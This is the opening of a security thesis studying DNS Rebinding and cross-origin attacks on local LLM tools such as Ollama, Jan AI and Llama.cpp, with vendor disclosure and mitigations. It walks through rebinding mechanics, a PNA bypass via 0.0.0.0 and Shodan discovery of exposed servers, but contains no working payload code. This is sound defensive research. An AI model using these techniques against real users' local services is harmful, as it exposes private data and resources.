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Abstract

Powerful Large Language Models that were once limited to the cloud have
recently become accessible on personal devices. Many users prefer them over
cloud-based products, such as ChatGPT, Gemini, and Claude, because their
conversations remain private and inference does not require an internet con-
nection. However, their adoption introduces new security risks, especially
when these tools expose HTTP servers on the loopback interface. In this
thesis, we investigate the security of popular local Large Language Model
deployment tools, focusing on two browser-based attack vectors: DNS Re-
binding and cross-origin exploitation. We show how malicious websites vis-
ited by users can compromise their local tools by sending unauthenticated
HTTP requests to local API endpoints or web interfaces. Our evaluation
of 14 tools reveals that eight are exploitable through at least one of these
attack vectors. In several cases, an adversary could access sensitive data,
such as private conversations and lists of models installed locally, or perform
inference without authentication. We propose mitigation strategies and rec-
ommendations that browser vendors, developers, and users can implement
to protect against these attacks. As part of our analysis, we also report the
vulnerabilities identified to the affected vendors. Notably, our disclosures
led to security fixes in Jan AT and Text Generation WebUI.
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Chapter 1

Introduction

The local deployment of Large Language Models (LLMs) became increas-
ingly common, largely due to the availability of smaller open-source models
that can run on consumer devices [25]. Local LLM deployment tools, such
as Llama.cpp, GPT4All, and Jan Al allow users to serve models directly
on their machines without relying on cloud providers. As a result, these
products offer benefits in terms of cost efficiency and data privacy, since
no external API requests are sent, and data remains within the user’s sys-
tem [88]. In terms of their architecture, they expose HT'TP servers bound to
the loopback interface, which makes their integration easier through stan-
dard HTTP requests. However, turning LLMs into local services also makes
them inherit a set of attack surfaces. This is especially alarming when access
controls are absent or misconfigured.

One of the main security concerns for such local tools is that websites visited
by users could send unauthenticated requests to local servers. This is possi-
ble via two well-known techniques: DNS Rebinding and direct cross-origin
exploitation. In the context of DNS Rebinding, a malicious domain resolves
to an attacker-controlled IP address initially, then rebinds to a local or pri-
vate IP address [46]. This enables the attacker’s website to bypass the same-
origin policy [66] within the victim’s browser and interact with local services
as if they were part of the attacker’s domain. In contrast, cross-origin access
targets services that use permissive Cross-Origin-Resource-Sharing (CORS)
configurations [62]. In both cases, an attacker leverages the browser’s access
to the loopback interface to reach services that are otherwise isolated.

The main research question this thesis aims to address is: What are the
privacy and security implications of executing DNS Rebinding and cross-
origin exploitation attacks against local LLM deployment tools?

To answer this question, the following sub-questions are investigated:

e Which local LLM deployment tools are vulnerable to DNS Rebinding



and cross-origin exploitation under default or commonly used config-
urations?

e What kind of data can be exfiltrated or operations triggered through
such attacks, and how severe are the potential consequences for users?

e What countermeasures are available to browser vendors, developers,
and users, and what are their current limitations or status of imple-
mentation?

1.1 Problem Motivation

Local LLM deployment tools are increasingly used due to their privacy bene-
fits and reduced operating costs [88]. The popularity of products such as Jan
Al an offline alternative to ChatGPT, reflects this trend, with over three
million downloads reported by early 2025 [11]. Similarly, platforms such as
Ollama [79] offer options to run quantized versions of powerful models di-
rectly on personal devices. As the user base grows, any security weaknesses
in these tools may affect a large number of systems. These include exposing
private conversations or allowing misuse of local resources. Nevertheless,
certain services promise strong privacy guarantees, as shown in Figure 1.1.

Figure 1.1: Jan Al displaying a message that emphasizes local data privacy.

Despite their growing adoption, many local LLM deployment tools lack the
security measures that are common for local services. Since they are gener-
ally only intended for access from the same machine, developers often omit
authentication, host verification, or other access controls by default. In this
context, a recent review of open-source projects found that “many newly
created Al projects [...] do not have any of these security protections built
in, making any data on those web applications possibly retrievable and any
vulnerability remotely exploitable” [93].

Even more concerning is the fact that some users expose these tools directly
to the public internet. A simple Shodan [90] search using the keyword
“Llama.cpp” reveals hundreds of instances that are accessible worldwide.
Many of them return HTTP headers that identify themselves as Llama.cpp
servers. In such cases, permissive CORS configurations and the absence



of authentication may lead to remote exploitation without relying on vec-
tors such as DNS Rebinding. Figure 1.2 illustrates this and shows several
instances that are exposed across various geographic regions.
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Figure 1.2: Shodan results for the keyword “Llama.cpp”, showing instances
that are publicly accessible.

The level of user interaction required to trigger these attacks is minimal. In
the context of both DNS Rebinding and cross-origin exploitation, the only
prerequisite is that the victim visits a malicious website served over HTTP.
For DNS Rebinding to succeed, the user may also need to remain on the
page for several seconds. However, empirical studies show that dwell times
on non-news web pages often range from 9 to 121.5 seconds, depending on
the device and browsing context [44]. Moreover, Al-generated content may
help keep users engaged longer, in particular through interactive content.
Previous work has shown that interactive pages, such as download count-
downs, can be effective at convincing users to stay on a website long enough
to enable browser-based attacks [23].

The number of publicly disclosed vulnerabilities related to DNS Rebinding
and cross-origin issues has also increased in the last years. Between 2020 and
2024, nearly twice as many such flaws were reported in the CVE database,
compared to the 20152019 period [20,21]. This trend suggests the persis-
tence of these attack vectors in modern applications. As such, it is essential
to evaluate whether the relatively new generation of local LLM deployment
tools is vulnerable to similar weaknesses and to address them before more
sensitive data is put at risk.



1.2 Knowledge Gap

This thesis builds upon and extends earlier research in both web security
and LLM system security. DNS Rebinding attacks are not new and have
been the topic of research for decades [9, 10, 24, 46, 49, 94]. Cross-origin
misconfigurations are also known vulnerabilities in local services and IoT
devices [9,31,91]. These studies show a common pattern: services that trust
the local network can be vulnerable to remote attacks if the user’s browser
is manipulated. Our work takes inspiration from these insights but targets a
different class of systems. Local LLM deployment tools have received little
security scrutiny so far, as illustrated by a few recent disclosures. In this con-
text, NCC Group reported a DNS Rebinding vulnerability in Ollama (CVE-
2024-28224), using the Singularity of Origin framework to demonstrate the
attack [30]. Similarly, Snyk disclosed a cross-origin access vulnerability in
Jan ATl’s Cortex engine [91]. However, both reports focused on individual
tools and were limited to single-case disclosures. To our knowledge, no prior
work has systematically examined the broader security posture of local LLM
deployment tools against both DNS Rebinding and cross-origin exploitation.

1.3 Contributions

This thesis addresses the gap through a practical security evaluation of pop-
ular local LLM deployment tools across two browsers and two operating sys-
tems. We conduct real-world DNS Rebinding and cross-origin exploitation
attacks in a controlled environment, aiming to understand their feasibility
and impact. To employ DNS Rebinding, we use the open-source Singu-
larity of Origin framework [40], which automates DNS manipulation and
enables interaction between attacker and victim via JavaScript payloads.
Where necessary, we extend Singularity with custom payloads that match
the specific APIs or web interfaces of the tools analyzed. For cross-origin
exploitation, we develop HTML-based attack pages that send unauthenti-
cated requests to services running locally under default or commonly used
configurations. We disclose all identified vulnerabilities to the maintainers
of the affected tools through security reports. In addition, we discuss limita-
tions of these attacks and propose mitigation strategies for browser vendors,
developers, and users.

1.4 Organization of the Thesis

The remainder of this thesis is organized as follows. Chapter 2 introduces
background concepts related to local LLM deployment, web security mech-
anisms, and DNS Rebinding. Chapter 3 reviews relevant literature on DNS
Rebinding, browser-based exploitation, and LLM system security. Chapter 4



presents the methodology used to identify vulnerabilities, design payloads,
and conduct live attack scenarios. Chapter 5 presents the findings from live
attack scenarios and categorizes their impact. Chapter 6 discusses mitiga-
tion strategies, limitations of this thesis, ethical considerations, and direc-
tions for future work. Finally, Chapter 7 summarizes the main contributions
and conclusions of this thesis.



Chapter 2

Preliminaries

This chapter presents the technical requirements necessary to understand
the research discussed in this thesis. We begin by reviewing the design
and behavior of local LLM deployment tools, with an emphasis on how
they expose functionality through HTTP APIs. We then describe key web
security mechanisms that are relevant to the vulnerabilities studied. Next,
we present the methodology of DNS Rebinding along with related strategies
and techniques, and explain how attackers can use it to circumvent such
mechanisms. Finally, we discuss two significant constraints that affect the
feasibility of DNS Rebinding: the Private Network Access specification and
the treatment of special IP addresses, such as 0.0.0.0.

2.1 Local LLM Deployment Tools

2.1.1 Local Server Architecture

A common approach for local LLM deployment tools is to run a dedicated
HTTP server on localhost, listening for API requests on a specific port.
The server loads one or more LLMs into memory and makes them available
through a RESTful API tied to a URL such as http://127.0.0.1:<port>.
Because the server usually binds only to the loopback interface (e.g., 127.0.0
.1), it is not directly accessible by default from external hosts [37,55].

This setup ensures that all requests are processed locally. In this way, the
HTTP server acts as a gateway to the loaded model: when a request arrives,
such as a prompt for text generation, the server’s backend code invokes the
model, waits for a response, and returns the result over HT'TP. Essentially,
the deployment tool transforms the model into a local service and allows
other programs to interact with it through standard HT'TP requests. While
this is similar to calling a remote HTTP API, all operations take place
entirely on the local hardware.



2.1.2 API Endpoint Reference

Local LLM deployment tools usually expose a RESTful API that developers
use to interact with local models. Many of these tools mimic the structure
of OpenAl’'s API and are compatible with existing AI applications [45].
As such, their local HTTP servers often implement API endpoints, such
as /vi/models, /vl1/completions, and /v1/chat/completions [53]. For
instance, a GET request to http://localhost:<port>/vl/models will re-
turn a list of available local model identifiers, just as the OpenAl’'s API
returns a model listing. Similarly, POST requests to /v1/completions or
/v1/chat/completions on the local server cause the model to generate text
completions or chat responses using the same JSON schema and parameters
as OpenAT’s endpoints.

However, not all local LLM deployment tools follow OpenAl’s exact API
specification. Some offer alternative but similar API endpoints or additional
endpoints for specialized functions [34]. In those cases, the client must adapt
and use the routes specific to the tool. Nevertheless, the core approach
remains the same: most local LLM deployment services use JSON-based
communication through HTTP APIs. This allows developers to interact
with local models in a way that is similar to calling a cloud-based web
service.

2.1.3 Request and Response Format

Regardless of the endpoint, local LLM deployment tools communicate through
HTTP requests and responses that may contain JSON-formatted data. De-
pending on the endpoint’s function, the request method may be a GET, POST,
or, in some cases, another HIT'TP method. For instance, endpoints used for
model inference, such as /v1/completions or /vl/chat/completions, re-
quire a POST request that includes a JSON body specifying the input prompt
and other relevant parameters. The body of a typical POST request is shown
below:

{
"model": "your-model-name",
"prompt": "Once upon a time,",
"max_tokens": 100,
"temperature": 0.7

b

The server also responds using the JSON format. A typical response includes
the content generated by the model, along with metadata. For inference
endpoints, the JSON response might include an “id” for the request, the



name of the model used, and a “choices” list holding the generated text. An
example response body is shown below:

{
"id": "cmpl-local-abc123",
"object": "text_completion",
"created": 1735328015,
"model": "your-model-name",
"choices": [
{
"text": " there lived a curious engineer who wanted
to build an AI.",
"index": O,
"finish_reason": "stop"

1,

"usage": {
"prompt_tokens": 4,
"completion_tokens": 16,
"total_tokens": 20

2.1.4 Authentication When Accessing API Endpoints

Controlling access to local HTTP API endpoints is important for security.
The most common approach to protect them is to use API keys or tokens
as credentials. In this setup, the client includes a secret key with each
request, usually in an HTTP Authorization Header using the Bearer
Token scheme. For instance, OpenAl’'s API requires every request to in-
clude a bearer token (e.g., Authorization: Bearer <API KEY>) and re-
jects those without a valid key [83]. This ensures that only authenticated
users or applications can use the API endpoints of the model. In cloud ser-
vices, such keys are enforced by default and are tied to account permissions,
as part of a robust authentication system [83]. As such, the bearer token
approach treats the API key as a secret that grants access to the service, and
best practices recommend keeping the key confidential and using HTTPS
for transport [50, 83].

In contrast, several local LLM deployment tools do not enforce authenti-
cation by default and operate under the assumption that the local server
is running in a trusted environment (i.e., localhost or a private network).
For instance, Ollama exposes its HTTP API without requiring any creden-
tials for authentication [79]. As a result, Ollama’s endpoints are wide open
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by default and manual setup is required to enable API keys or tokens for
production use.

2.2 Same Origin Policy

Modern browsers rely on various types of static and dynamic content to
render web pages, including HTML, JavaScript, and CSS [46]. Some of
these technologies, such as JavaScript, can initiate network requests, while
others (e.g., CSS) may trigger them indirectly (e.g., for loading fonts). If
these requests are not restricted adequately, they may introduce security
risks. In this context, the Same-Origin Policy (SOP) is the web’s principal
security mechanism [49] that prevents scripts loaded from one origin from
accessing the resources of another origin [66]. In short, the SOP ensures that
a malicious script from attacker.com cannot access sensitive data loaded
from bank. com, such as card information. Although different interpretations
of the SOP exist depending on the context (e.g., cookies or storage) [66], in
this thesis, we focus only on how the SOP applies to JavaScript.

2.2.1 Origin Definition

A Uniform Resource Locator (URL) may contain several components, such
as the scheme, host, port, path, query parameters, and fragment [69]. How-
ever, an origin is defined by only three of these: scheme, host, and port.
According to the SOP, two websites can share resources if and only if their
origins are the same [66]. This strict definition ensures that even small dif-
ferences lead to separate origins. For instance, the following two URLs differ
only in scheme but are treated as separate origins:

e http://dynamic.trustmydomain.ink:8080/v1/models

e https://dynamic.trustmydomain.ink:8080/v1/models

2.2.2 Handling Cross-Origin Access

When a browser sends an HT'TP request, it automatically includes several
key headers, such as:

e Origin: Indicates the origin that issued the request [65]
e Cookie: Provides the HTTP cookies related to the server [61]
e Host: Specifies the host and port number of the server [64]

Upon receiving this request, the server may respond with specific Cross-
Origin Resource Sharing (CORS) headers that define access permissions.
The most relevant header is Access-Control-Allow-Origin, that specifies
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which origins are allowed to read the response [62]. Therefore, the browser
enforces cross-origin access control once it receives the server’s response.
The process generally follows these steps:

1. The browser extracts the Access-Control-Allow-Origin header from
the server’s response

2. If the header is not present, the browser blocks access to the response

3. Otherwise, it compares the origin of the requesting page with the origin
specified in this header

4. If the requesting origin matches an allowed origin, the response can be
accessed by the client-side script

5. If the origins do not match, the browser blocks access to the response,
including the details about the error that will not be accessible to the
client-side script

For complex cross-origin requests that do not qualify as “simple requests”
[62], browsers use a “preflight” mechanism defined by the CORS specifica-
tion. A request is complex if it uses methods other than GET, POST, or HEAD,
or includes custom headers, such as Authorization or Content-Type with
non-standard values [62]. For such complex requests, the browser sends an
initial HT'TP OPTIONS request to the server, seeking permission to proceed.
The server responds with CORS headers, such as Access-Control-Allow—
Methods and Access-Control-Allow-Headers, that either grant or deny
access to the subsequent request. Therefore, the browser sends the actual
request only if the preflight check succeeds [62].

This mechanism enforces web security without blocking potentially legiti-
mate cross-origin requests [62]. However, when CORS headers are permis-
sive (e.g., Access-Control-Allow-Origin:*), attackers can abuse cross-
origin access and perform cross-origin exploitation to access the resources of
local HTTP servers.

2.2.3 Forbidden Request Headers

Current browsers enforce a security mechanism that prevents programmatic
modification of specific HT'TP headers, known as “forbidden request head-
ers” [63]. Since the Origin request header is part of this forbidden list,
browsers prevent its programmatic modification by JavaScript code [63]. As
such, any attempt to set this header does not affect the actual request. This
ensures that scripts cannot spoof the origin of a request to bypass the SOP.
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2.3 DNS Rebinding

DNS Rebinding is a long-standing attack technique, first documented in
1996 [24]. It belongs to a broader class of browser-based attacks that exploit
the implicit trust users place in their browsers [49]. In this process, an
attacker controls DNS responses such that malicious domains map to IP
addresses within restricted internal networks, turning the victims’ browsers
into “open network proxies” [23].

2.3.1 Requirements for DNS Rebinding

In a typical DNS Rebinding attack, the adversary sets up a malicious DNS
server that responds to queries for a domain they control. Additionally,
the attacker must run a rogue HTTP server on the same port as the target
service to respond to HTTP requests from the victim’s browser. The initial
response includes malicious JavaScript code that facilitates DNS Rebinding
by creating new DNS queries for the same domain.

To launch such an attack, the adversary’s main requirement is to lure the
victim into visiting their web page. This task can be accomplished in many
ways, such as phishing emails, malicious advertisements, or cybersquatting
[23]. Once the victim loads and runs the malicious JavaScript code, they
must remain on the page long enough, which is referred to as “dwell time”
[94].

2.3.2 Mechanism of DNS Rebinding

In this subsection, we present a high-level walkthrough of a classic DNS
Rebinding attack, also known as Time-Varying DNS Rebinding [87], as il-
lustrated in Figure 2.1:

1. A victim visits the attacker-controlled web page, say http://rebind.it,
and initiates a connection

2. To resolve the domain rebind.it, the victim’s browser sends a DNS
query for that domain

3. The malicious DNS server controlled by the attacker responds with a
DNS record that maps the attacker’s domain to the IP address of the
server hosting the malicious web page, 35.185.206.165. This record
is configured with a low Time-to-Live (TTL) to prevent long-term
caching

4. The victim’s browser sends an HT'TP request to that IP address

5. The web server delivers the web page containing JavaScript code that
executes within the victim’s browser
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6. After the DNS record expires, the script sends a new DNS query for
the same domain

7. This time, the malicious DNS server resolves the domain to the loop-
back IP address 127.0.0.1 (localhost)

8. The JavaScript code can now send HTTP requests to rebind.it,
which reach the target service, and forward the responses to an end-
point under the attacker’s control

Visits http://rebind.it:
Victim DNS query rebind.it Attacker DNS &
> Web Server

DNS A Record response: 35.182.206.165

(Browser)

GET/POST HTTP GET http://rebind.it
request to

HTTP Response

\J DNS cache expires:
DNS query rebind.it

Target Service i
127.0.01 DNS A Record response:

Figure 2.1: Mechanism of time-varying DNS Rebinding attack. Adapted
from [29].

2.3.3 Why DNS Rebinding Succeeds?

Although it is easier for humans to use domains when visiting web pages
over the World Wide Web, browsers access online resources not by domains,
but by IP addresses. Therefore, when a user types a URL, their browser uses
the Domain Name System (DNS) to resolve the domain to an IP address
before initiating a network connection.

To achieve efficient domain mapping, the DNS protocol allows the same
domain to resolve to multiple IP addresses [59]. Although this feature was
originally intended for load balancing and redundancy [27], it also enables
DNS Rebinding attacks.
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Browsers rely on this DNS resolution process to establish network connec-
tions. More exactly, the browser resolves a domain to an IP address before
it sends an HTTP request to that IP address. Consequently, when there
are multiple IP addresses mapped to a single domain, the browser will treat
these addresses as belonging to the same origin, even if they are owned by
entirely different entities [46].

This behavior allows the malicious JavaScript code to send HTTP requests
to the target service once the domain is rebound. Since these follow-up
requests still use the same domain (e.g., rebind.it), port, and protocol,
the browser is confused and considers them to have the same origin. As
a result, the SOP is effectively bypassed, allowing the attacker to interact
with internal services as if they were part of the original trusted network.

2.3.4 Multiple A Records - DNS Rebinding Technique

This variant of the attack exploits the ability of authoritative servers to re-
spond to DNS queries with multiple A records at the same time [59]. Unlike
the Time-Varying DNS Rebinding attack discussed in Subsection 2.3.2, this
approach relies on parallel DNS resolution instead of sequential rotation.

When the victim’s browser initially resolves the attacker-controlled domain
rebind.it, the malicious DNS server returns two IP addresses: the actual
IP address of the HT'TP server hosting JavaScript code and the loopback
address 127.0.0.1 [46]. Most browsers attempt to connect to the first IP
address and load the malicious JavaScript from the attacker’s server. Once
the script is executed, it instructs the victim’s browser to initiate a new
HTTP connection to the same domain. At this point, the attacker’s server
refuses the connection by sending back a RST (reset) packet. As a result,
the browser retries the request using the second IP address [48] - in our
example, 127.0.0.1 instead of 35.185.206.165. Some browsers fall back
to this second address after a short delay, typically one second [46]. Any
subsequent requests from the malicious script to rebind. it will then target
the new IP address.

2.3.5 Hook and Control - Post-Rebinding Strategy

In the Hook and Control strategy, once DNS Rebinding succeeds, the at-
tacker’s goal is to hook the victim’s browser and establish an interactive
channel for further exploitation. This is useful, in particular, when the tar-
get service exposes a web Ul (User Interface), rather than a documented
RESTful APL.

An adversary can achieve this control using the Singularity of Origin frame-
work, which includes a malicious JavaScript payload that is executed within
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the victim’s browser [75]. The script running under the rebound origin
opens a persistent WebSocket connection to the attacker’s proxy server.
This proxy server binds to a different port from the HTTP server that de-
livered the payload. Therefore, the WebSocket channel remains open after
the attacker-controlled domain is rebound and ensures communication with
the compromised browser [29].

On the attacker’s side, Singularity employs a proxy mechanism to manage
and relay requests between the attacker and the hooked browser. After DNS
Rebinding is successful, the adversary sends HTTP requests from a session-
specific origin, such as http://sessionl123.trustmydomain. ink:3129. These
requests reach the Singularity proxy server, which translates them into struc-
tured JSON messages and forwards them through the WebSocket channel.
The malicious payload running within the victim’s browser receives them
and sends the corresponding fetch() API requests [68] to the target lo-
cal service, under the rebound origin (e.g., http://s-1.2.3.4-1localhost-
1234-fs-e.dynamic.trustmydomain.ink:8080). The payload sends the
results back to the attacker via the same WebSocket channel. This process
is illustrated in Figure 2.2.

Attacker Hooked Target

Singularity Target Service

Browser Browser

GET /home HTTP/1.1 lrrans/éte

Websockei: op="fetch”, 1transliate
args “/home” :

HTTP: fetch(*home” {..})

...and back

Figure 2.2: Proxy used in the Hook and Control DNS Rebinding strategy.
Figure reproduced from [29].

2.4 Private Network Access

Although CORS manages cross-origin requests at the response level, the Pri-
vate Network Access (PNA) specification introduces stricter rules to protect
against threats from less secure contexts. In contrast to CORS, which al-
lows browsers to send requests and relies on servers to enforce access controls
through headers, the PNA can block specific requests before they are sent.
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Until recently, browsers lacked a common approach to handle requests to
private networks. This exposed users to risks, such as Cross-Site Request
Forgery (CSRF) attacks and unauthorized access to local services [56]. The
underlying rationale is that domains such as attacker.com should not be
able to interact with localhost or other private network addresses. To
enforce this, the PNA categorizes networks into public, private, and local.
As a result, it restricts web pages loaded under less secure contexts from
communicating with trusted contexts [86].

More specifically, the PNA extends CORS and introduces new preflight
checks that must succeed before the browser sends requests to private or
local networks [86]. In specific cases, they may include prompts that require
the user’s permission, which is necessary to relax mixed content restrictions.
If a preflight check fails, the request is blocked, and any potentially harmful
interactions with local or private network resources are prevented [86]. This
approach reduces the risk of CSRF and other attacks that rely on unautho-
rized network requests. In the example discussed in Subsection 2.3.2; the
PNA within the target browser would block network requests from the at-
tacker’s domain rebind.it to 127.0.0.1. This would successfully prevent
DNS Rebinding since the malicious JavaScript running within the victim’s
browser is not able to communicate with localhost anymore. Although
the PNA lost its attention due to “compatibility issues” [35], its successor,
Local Network Access (LNA), restricts requests to local or private resources
based on the user’s permission [33].

2.5 IP Address 0.0.0.0

The IP address 0.0.0.0 is a special and non-routable IPv4 address with dif-
ferent meanings in networking. Although it is not intended to be used as a
destination IP address, some operating systems, such as Linux and macOS,
treat connections to 0.0.0.0 as equivalent to connections to 127.0.0.1 or
localhost [29,56]. As such, even if a local service listens on 127.0.0.1,
it may become accessible to other hosts, including those from external net-
works. In scenarios where an attacker bypasses the browser’s SOP, they can
reach these services via public domains that resolve to 0.0.0.0. The same
applies in the context of DNS rebinding attacks [29].
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Chapter 3

Related Work

This chapter reviews three areas of prior work relevant to the security analy-
sis of local LLM deployment tools: (1) DNS Rebinding attacks; (2) browser-
based exploits against local services or IoT devices, including cross-origin
exploitation; and (3) security issues in LLM systems. In the following sec-
tions, we look at key literature and disclosures in each area and identify how
the current thesis builds on and extends them.

3.1 DNS Rebinding Attacks

DNS Rebinding has been a known attack technique for almost three decades,
as it was discovered in 1996 in the context of Java applets by Princeton’s
Secure Internet Programming group [24]. Early demonstrations showed how
an attacker could circumvent firewall protections and scan or attack inter-
nal systems by manipulating DNS resolution. Jackson et al. later analyzed
several variants of DNS Rebinding and highlighted the significant impact of
such attacks, ranging from intranet spoofing to sending spam or committing
click fraud [46]. They also noted that the standard defense at that mo-
ment, browser DNS pinning [2], was often ineffective in modern browsers.
Therefore, they proposed stronger countermeasures such as using dnswall
software [16], policy-based pinning, and host validation to protect against
rebinding.

Over time, researchers developed new techniques to bypass browser defenses.
Dai and Resig’s FireDrill introduced a DNS cache-flooding technique to ac-
celerate rebinding on modern browsers [23]. FireDrill opened an interactive
channel between the attacker and an internal web server after flooding the
DNS cache of the victim’s browser. This led to new malicious possibilities
on top of the previous firewall bypass, such as performing actions on be-
half of the victim and modifying the internal application state. Johns et al.
later demonstrated that HTML5’s Offline Application Cache could enable
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reliable rebinding across major browsers and even affect plugins such as Sil-
verlight [49]. To address this, Johns et al. proposed extending the browser’s
SOP with server-provided origin information.

In recent years, DNS Rebinding has become a practical vector for targeting
IoT and local services. Dorsey showed that popular smart home gadgets,
such as Google Home, Roku TVs, Sonos speakers, and Wi-Fi thermostats,
could be controlled by attackers from the public Internet via DNS Rebinding
since these devices expose unauthenticated HT'TP API endpoints on private
networks [28]. This finding is also supported by the research conducted by
Tatang et al., who employed a DNS cache-flooding technique and the Sin-
gularity of Origin framework to conclude that almost all devices analyzed
in their study, including smart home devices and routers, were vulnerable
to DNS Rebinding [94]. Security researchers have also used rebinding to
target local cryptocurrency wallets and other sensitive services running on
localhost [46,47]. Even cloud infrastructure is not safe, as recent work
showed that an Azure VM’s metadata service could be exploited via DNS
Rebinding to steal access tokens [51]. More than that, He et al. highlighted
that local IoT devices on maritime ships, such as waterway scanning systems
and navigation mark telemetry terminals, are vulnerable to DNS Rebind-
ing attacks as well [42]. Several other cases have been documented where
an attacker could use DNS Rebinding to exploit vulnerabilities across dif-
ferent systems, with various critical impacts. These include unauthorized
access to personal photos, videos, and API keys [92], bypassing authenti-
cation mechanisms [7], circumventing Server Side Request Forgery (SSRF)
protections [3-5], triggering denial of service attacks [5], rebooting SpaceX
Starlink Wi-Fi router [8], and executing OS Command Injection [13], among
other security breaches.

More recently, local LLM deployment tools have also become targets. In one
case, researchers discovered a DNS Rebinding vulnerability in Ollama, where
an attacker-controlled website visited by users could exploit the HTTP API
exposed on localhost to list models, retrieve file content, and cause de-
nial of service [30]. This issue was present because the API lacked HTTP
Host Header validation and did not require authentication. The vulnerabil-
ity was assigned CVE-2024-28224 and was reported by NCC Group, who
employed the Singularity of Origin framework to obtain these results. Sim-
ilarly, users of OpenDevin/OpenHands, an Al coding assistant, disclosed
that an attacker could manipulate the web Ul through DNS Rebinding to
read sensitive files and exfiltrate them to remote servers [32].

To facilitate such attacks, several public frameworks emerged, such as Re-
bind [1] and Jagen [98]. Likewise, NCC Group’s Singularity of Origin pro-
vides a framework with a built-in DNS server, HT'TP server, HT'TP proxy,
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web UI, and payloads to perform DNS Rebinding attacks easily [40]. Using
Singularity of Origin, NCC Group successfully conducted DNS Rebinding
attacks within approximately three seconds across major browsers. They
achieved this efficiency by targeting local IP addresses, such as 0.0.0.0
and 127.0.0.1, and the DNS Rebinding technique described in Subsec-
tion 2.3.4 [29,58]. The result is especially important since previous work
considered this attack method successful only when rebinding to public IP
addresses [43]. By employing this attack method and the non-routable IPv4
address 0.0.0.0 on Linux and MacOS systems, NCC Group conducted DNS
Rebinding attacks that bypassed PNA protections [58]. Other researchers
later confirmed these findings by discovering new ways to bypass the PNA
standard. These included exploiting browsers’ prioritization of IPv6 ad-
dresses over IPv4 addresses when employing the same attack method [95].

3.2 Browser-Based Exploitation of Local Services
and IoT Devices

DNS Rebinding is only one of several techniques through which web pages
can exploit local services and IoT devices. More broadly, researchers showed
that browsers can be misused as agents to carry out internal attacks. Lam
et al. created the term “puppetnets” to describe how malicious websites
can take advantage of browsers to perform actions such as reconnaissance
probing, denial of service, and worm propagation on internal networks [52].
In these scenarios, the browser is used as a way to conduct attacks and
exploits the user’s trust in web content to target other websites or hosts
within the network.

In the late 2010s, attention turned to using the browser as a tool to exploit
IoT and local devices behind Network Address Translations (NATs). In
this context, Acar et al. demonstrated how ordinary web pages could dis-
cover and control local IoT devices on a home network [9]. They presented
two techniques: one was a DNS Rebinding attack, and another exploited
the HTML5 <video> element’s error handling within cross-origin requests.
Loading a device’s URL as a video source helped them infer information from
the resulting error message and thus bypass the SOP. Using these methods,
the malicious script could retrieve sensitive data from devices or even send
commands (e.g., play a video or reboot a smart TV). This work highlighted
that “even when devices are behind NATSs” a web page can reach them if
they expose an HTTP server and the browser’s SOP is sidestepped.

Subsequent studies expanded on this idea. Within their paper, Dresen et
al. introduced a toolkit that leveraged HTML5, CSS, and JavaScript to
fingerprint internal web applications via side-channel leaks [31]. Their tool,
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CORSICA, could extract metadata such as function names and style rules
from cross-origin responses, which allowed attackers to map devices and
software versions.

Another impactful finding was the abuse of the I[Pv4 address 0.0.0.0. Ini-
tially seen as harmless, an attacker can exploit it to bypass restrictions to
the local network [56]. This “0.0.0.0-day” vulnerability allows malicious
websites to access services on localhost by exploiting how browsers resolve
non-routable addresses and circumvent PNA protections [56].

Finally, recent findings show that cross-origin exploitation has concrete im-
plications for users running local LLM deployment tools, as well. A security
disclosure in 2025 against Jan AI’s engine revealed critical issues due to
missing authentication and CSRF protection on its HTTP API [91]. Snyk’s
researchers showed that any website could invoke endpoints on Jan Al’s
backend (e.g., uploading files or executing actions) since the service accepted
cross-origin requests by default. Similarly, the open-source project Local Al
was found vulnerable to CSRF attacks (CVE-2024-5616), which allowed ad-
versaries to delete models installed locally via an external page that sent
cross-origin requests [6].

3.3 Security of LLM Systems

With the rise of LLMs, researchers also started to question their security
from multiple directions. One line of work focuses on how LLMs can be
manipulated through crafted inputs or prompts. Prompt injection or “jail-
break” attacks involve an adversary who gives instructions that override
the model’s built-in protections [39]. Greshake et al. showed that indi-
rect prompt injection can compromise applications that integrate LLMs re-
motely [39]. For instance, an attacker could hijack the LLM’s behavior to
leak data or execute actions by embedding hidden instructions in a webpage
that an LLM-augmented browser may visit. This represents a significant
security and privacy concern, as attackers could manipulate an otherwise
safe application to produce hateful or dangerous outputs.

Beyond academic studies, the software supply chain for LLMs also showed
points of failure. Because many users download pre-trained models or use
open-source libraries to run LLMs locally, attackers began targeting these
vectors. For instance, the model files themselves can be weaponized. In early
2024, multiple CVEs were reported in the popular Llama.cpp open-source
tool. One such vulnerability was a heap overflow in the GGUF model loader
[89]. In other words, a poisoned model file could take over the host system
when loaded, similar to opening an infected document. Security analysts
found dozens of malicious models on Hugging Face that contained stealthy

21



backdoors or exploit code, often packaged in pickled Python objects [99].
The community responded with measures such as the Safetensors format,
but users can still ignore warnings and load unsafe models.

The range of security threats that target LLMs and LLM systems expanded
so much that industry standards started to catalog them. More exactly,
the OWASP Top 10 for LLM Applications (2024-2025) highlights many of
the above issues among the most critical vulnerabilities [84]. For instance,
prompt injection is ranked as LLMO1 because of its prevalence and impact,
while supply chain vulnerabilities appear in the list as LLM05. These and
other categories, such as data poisoning and model denial of service, repre-
sent a checklist for anyone building or scrutinizing a LLM system.

3.4 Relevance of This Thesis

Although researchers and security consultants have extensively studied DNS
Rebinding and cross-origin exploitation, their impact on local LLM deploy-
ment tools is mainly unexplored. Current literature focuses on IoT devices
and local services [9,28,31,42,47,51], whereas recent disclosures highlight im-
portant vulnerabilities in individual tools [6,32,79,91]. However, a broader,
systematic view of these threats against such products is still missing.

This thesis addresses that gap by evaluating several local LLM deployment
tools within live attack scenarios. We employ the Singularity of Origin
framework to perform DNS Rebinding attacks, which includes the built-
in Hook and Control post-rebinding strategy (see Subsection 2.3.5). This
strategy builds on earlier tools such as FireDrill [23]. In addition, we de-
velop custom HTML-based pages that send cross-origin requests to local
API endpoints.

While Section 3.3 reviews general threats to LLM systems, such as model
backdoors and prompt injection, our focus is on exploitation at the network
level. Specifically, we analyze how misconfigurations in local servers can
allow remote exploitation via the browser. To our knowledge, this is the first
comprehensive study that assesses the impact of DNS Rebinding and cross-
origin exploitation attacks across a diverse set of local LLM deployment
tools.
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Chapter 4

Methodology

This chapter describes the technical process we followed to evaluate the secu-
rity of local LLM deployment tools in live attack scenarios. The methodology
includes the selection of tools that are representative, the evaluation of their
exposure to cross-origin requests and DNS Rebinding, and the development
of custom payloads. It also covers the setup of the attack infrastructure and
the execution of live attack scenarios. Each step is detailed to ensure the
reproducibility of the results and to provide a clear understanding of the
techniques that we used.

4.1 Selection of Local LLM Deployment Tools

The selection of local LLM deployment tools began with a systematic search
